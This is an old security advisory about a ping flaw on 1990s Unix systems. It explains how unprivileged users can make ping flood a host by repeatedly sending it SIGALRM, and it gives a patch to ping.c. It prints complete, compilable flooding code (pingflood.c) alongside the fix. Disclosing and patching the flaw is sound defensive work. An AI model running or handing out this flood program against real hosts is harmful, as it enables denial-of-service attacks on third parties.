COMMAND
ping
SYSTEMS AFFECTED
RedHat 4.1, 5.0, Debian, OpenBSD, SunOS 5.5.1, etc
PROBLEM
AntireZ posted following. pingflood.c allows non-root users to
'ping flood'. When ping runs it normally sends an ICMP
ECHO_REQUEST every second. It accomplishes this using the alarm
system call and waiting for a SIGALRM signal from the kernel.
Pingflood simply sends a lot of SIGALRM signals to the ping
process. It can do this because the ping process is owned by the
user. Basically, it is so simple that it should work on any Unix
box. The "bug" in ping's code is that the code naively assumes the
SIGALRM is system-generated (due to a previous alarm() call). At
least on SunOS 5.5.1, sigaction(2) can be used to examine the
source of the SIGALRM is returned to the signal handler if the
sa_flags member of the struct sigaction passed to sigaction() has
the SA_SIGINFO bit set). Code follows:
/*
pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330@mclink.it>
enhanced by David Welton <davidw@cks.com>
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License as
published by the Free Software Foundation; version 2 of the
License.
------------------------------------------------------------------
use it as follows:
pingflood <hostname>
WARNING: this program is only for demonstrative use only. USE IT AT
YOUR OWN RISK! The authors decline all responsibility for damage
caused by misuse of the program.
*** if you use this program to cause harm to others, you are
very small, petty and pathetic. ***
to compile:
gcc -o pingflood pingflood.c
*/
#include <signal.h>
#define PING "/bin/ping"
main( int argc, char *argv[] )
{
int pid_ping;
if (argc < 2) {
printf("use: %s <hostname>\n", argv[0]);
exit(0);
}
if(!(pid_ping = fork()))
execl(PING, "ping", argv[1], NULL);
if ( pid_ping <=0 ) {
printf("pid <= 0\n");
exit(1);
}
sleep (1); /* give it a second to start going */
while (1)
if ( kill(pid_ping, SIGALRM) )
exit(1);
}
Unfortunately, many setuid programs are there that will catch
various signals and will behave "not-as-expected" when forked off
by a signal-bomber parent process, such as pingflood.
SOLUTION
The correct solution is to either check that the sigalrm isn't
early, or to check who sent the signal. The former has been done,
the latter needs a bit of kernel support...
Here's a fix Solar Designer did, for ping from Linux's NetKit 0.09
nothing complicated. Note: this may be weird way since just
doing a setuid() would also make it impossible for users to kill
their ping processes (with SIGTERM):
--- ping.c.orig Sun Dec 29 19:13:01 1996
+++ ping.c Mon May 18 14:09:03 1998
@@ -64,6 +64,7 @@
#include <sys/socket.h>
#include <sys/file.h>
#include <sys/time.h>
+#include <sys/times.h>
#include <sys/signal.h>
#include <netinet/in.h>
@@ -270,6 +271,11 @@
options |= F_SO_DONTROUTE;
break;
case 's': /* size of packet to send */
+ if (!am_i_root) {
+ (void)fprintf(stderr,
+ "ping: %s\n", strerror(EPERM));
+ exit(2);
+ }
datalen = atoi(optarg);
if (datalen > MAXPACKET) {
(void)fprintf(stderr,
@@ -488,12 +494,22 @@
* quality of the delay and loss statistics.
*/
static void
-catcher(int ignore)
+catcher(int signum)
{
+ struct tms buf;
+ clock_t current;
+ static clock_t last = 0;
int waittime;
- (void)ignore;
- pinger();
+ if (signum) {
+ current = times(&buf);
+ if (current - last >= CLK_TCK - 1 || current < last) {
+ last = current;
+ pinger();
+ }
+ } else
+ pinger();
+
(void)signal(SIGALRM, catcher);
if (!npackets || ntransmitted < npackets)
alarm((u_int)interval);